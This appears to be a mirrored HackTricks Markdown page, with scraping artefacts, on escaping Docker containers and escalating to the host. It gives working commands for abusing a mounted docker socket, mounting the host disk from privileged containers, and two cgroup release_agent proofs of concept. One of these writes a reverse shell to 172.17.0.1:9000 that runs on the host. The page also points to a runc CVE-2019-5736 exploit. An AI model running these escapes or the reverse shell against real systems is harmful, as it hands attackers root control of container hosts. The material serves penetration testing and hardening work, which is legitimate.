mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-13 05:38:50 +00:00
189 lines
8.7 KiB
Markdown
189 lines
8.7 KiB
Markdown
# Docker Breakout / Privilege Escalation
|
|
|
|
## Automatic Enumeration & Escape
|
|
|
|
* ****[**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): It can also **enumerate containers**
|
|
* ****[**CDK**](https://github.com/cdk-team/CDK#installationdelivery): This tool is pretty **useful to enumerate the container you are into even try to escape automatically**
|
|
* ****[**amicontained**](https://github.com/genuinetools/amicontained): Useful tool to get the privileges the container has in order to find ways to escape from it
|
|
* ****[**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers
|
|
* ****[**grype**](https://github.com/anchore/grype): Get the CVEs contained in the software installed in the image
|
|
|
|
## Mounted docker socket
|
|
|
|
If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\
|
|
This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions.
|
|
|
|
```bash
|
|
#Search the socket
|
|
find / -name docker.sock 2>/dev/null
|
|
#It's usually in /run/docker.sock
|
|
```
|
|
|
|
In this case you can use regular docker commands to communicate with the docker daemon:
|
|
|
|
```bash
|
|
#List images to use one
|
|
docker images
|
|
#Run the image mounting the host disk and chroot on it
|
|
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
|
|
```
|
|
|
|
{% hint style="info" %}
|
|
In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`**
|
|
{% endhint %}
|
|
|
|
## Container Capabilities
|
|
|
|
You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE`**
|
|
|
|
You can check currently container capabilities using **previously mentioned automatic tools** or:
|
|
|
|
```bash
|
|
capsh --print
|
|
```
|
|
|
|
In the following page you can **learn more about linux capabilities** and how to abuse them to escape/escalate privileges:
|
|
|
|
{% content-ref url="../../linux-capabilities.md" %}
|
|
[linux-capabilities.md](../../linux-capabilities.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Privileged Containers
|
|
|
|
A privileged container can be created with the flag `--privileged` or disabling specific defenses:
|
|
|
|
* `--cap-add=ALL`
|
|
* `--security-opt apparmor=unconfined`
|
|
* `--security-opt seccomp=unconfined`
|
|
* `--security-opt label:disable`
|
|
* `--pid=host`
|
|
* `--userns=host`
|
|
* `--uts=host`
|
|
* `--cgroupns=host`
|
|
|
|
The `--privileged` flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities. You can r**ead all the effects of `--privileged`** in this page:
|
|
|
|
{% content-ref url="../docker-privileged.md" %}
|
|
[docker-privileged.md](../docker-privileged.md)
|
|
{% endcontent-ref %}
|
|
|
|
In fact, `--privileged` **provides far more permissions** than needed to escape a docker container via this method. In reality, the “only” requirements are:
|
|
|
|
1. We must be **running as root** inside the container
|
|
2. The container must be run with the **`SYS_ADMIN` Linux capability**
|
|
3. The container must lack an AppArmor profile, or otherwise allow the `mount` syscall
|
|
4. The cgroup v1 virtual filesystem must be mounted read-write inside the container
|
|
|
|
The `SYS_ADMIN` capability allows a container to perform the mount syscall (see [man 7 capabilities](https://linux.die.net/man/7/capabilities)). [Docker starts containers with a restricted set of capabilities](https://docs.docker.com/engine/security/security/#linux-kernel-capabilities) by default and does not enable the `SYS_ADMIN` capability due to the security risks of doing so.
|
|
|
|
Further, Docker [starts containers with the `docker-default` AppArmor](https://docs.docker.com/engine/security/apparmor/#understand-the-policies) policy by default, which [prevents the use of the mount syscall](https://github.com/docker/docker-ce/blob/v18.09.8/components/engine/profiles/apparmor/template.go#L35) even when the container is run with `SYS_ADMIN`.
|
|
|
|
A container would be vulnerable to this technique if run with the flags: `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN`
|
|
|
|
### Mounting Disk
|
|
|
|
Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive.
|
|
|
|
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
|
|
|
|
So to take over the host machine, it is trivial:
|
|
|
|
```bash
|
|
mkdir -p /mnt/hola
|
|
mount /dev/sda1 /mnt/hola
|
|
```
|
|
|
|
And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder.
|
|
|
|
### Abusing release\_agent
|
|
|
|
{% code title="Initial PoC" %}
|
|
```bash
|
|
# spawn a new container to exploit via:
|
|
# docker run --rm -it --privileged ubuntu bash
|
|
|
|
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
|
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
|
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
|
touch /o;
|
|
echo $t/c >$d/release_agent;
|
|
echo "#!/bin/sh $1 >$t/o" >/c;
|
|
chmod +x /c;
|
|
sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
|
```
|
|
{% endcode %}
|
|
|
|
The following is a different version, more readable, of the previous script:
|
|
|
|
{% code title="Second PoC" %}
|
|
```bash
|
|
# On the host
|
|
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
|
|
|
|
# In the container
|
|
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
|
|
|
echo 1 > /tmp/cgrp/x/notify_on_release
|
|
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
|
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
|
|
|
#For a normal PoC =================
|
|
echo '#!/bin/sh' > /cmd
|
|
echo "ps aux > $host_path/output" >> /cmd
|
|
chmod a+x /cmd
|
|
#===================================
|
|
#Reverse shell
|
|
echo '#!/bin/bash' > /cmd
|
|
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
|
|
chmod a+x /cmd
|
|
#===================================
|
|
|
|
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
|
head /output
|
|
```
|
|
{% endcode %}
|
|
|
|
## `--privileged` flag v2
|
|
|
|
|
|
|
|
### Runc exploit (CVE-2019-5736)
|
|
|
|
In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload.
|
|
|
|
Change the payload accordingly and build the main.go with `go build main.go`. The resulting binary should be placed in the docker container for execution.\
|
|
Upon execution, as soon as it displays `[+] Overwritten /bin/sh successfully` you need to execute the following from the host machine:
|
|
|
|
`docker exec -it <container-name> /bin/sh`
|
|
|
|
This will trigger the payload which is present in the main.go file.
|
|
|
|
For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
|
|
|
{% hint style="info" %}
|
|
There are other CVEs the container can be vulnerable too
|
|
{% endhint %}
|
|
|
|
### Writable hostPath Mount
|
|
|
|
(Info from [**here**](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d)) Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector:
|
|
|
|
```bash
|
|
#### Check if You Can Write to a File-system
|
|
$ echo 1 > /proc/sysrq-trigger
|
|
|
|
#### Check root UUID
|
|
$ cat /proc/cmdlineBOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300- Check Underlying Host Filesystem
|
|
$ findfs UUID=<UUID Value>/dev/sda1- Attempt to Mount the Host's Filesystem
|
|
$ mkdir /mnt-test
|
|
$ mount /dev/sda1 /mnt-testmount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.
|
|
|
|
#### debugfs (Interactive File System Debugger)
|
|
$ debugfs /dev/sda1
|
|
```
|
|
|
|
## References
|
|
|
|
* [https://twitter.com/\_fel1x/status/1151487053370187776?lang=en-GB](https://twitter.com/\_fel1x/status/1151487053370187776?lang=en-GB)
|
|
* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
|
|
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
|